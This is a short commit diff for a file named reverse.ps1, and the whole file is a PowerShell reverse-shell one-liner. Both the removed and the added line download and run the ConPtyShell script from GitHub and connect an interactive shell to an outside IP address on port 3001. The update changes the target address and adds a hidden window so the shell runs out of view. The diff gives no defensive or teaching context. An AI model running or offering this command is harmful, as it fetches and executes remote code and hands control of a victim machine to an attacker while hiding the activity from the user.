Update reverse.ps1

reverse.ps1

-IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 172.21.199.93 3001
\ No newline at end of file
+PowerShell.exe -WindowStyle hidden {IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 172.21.200.144 3001}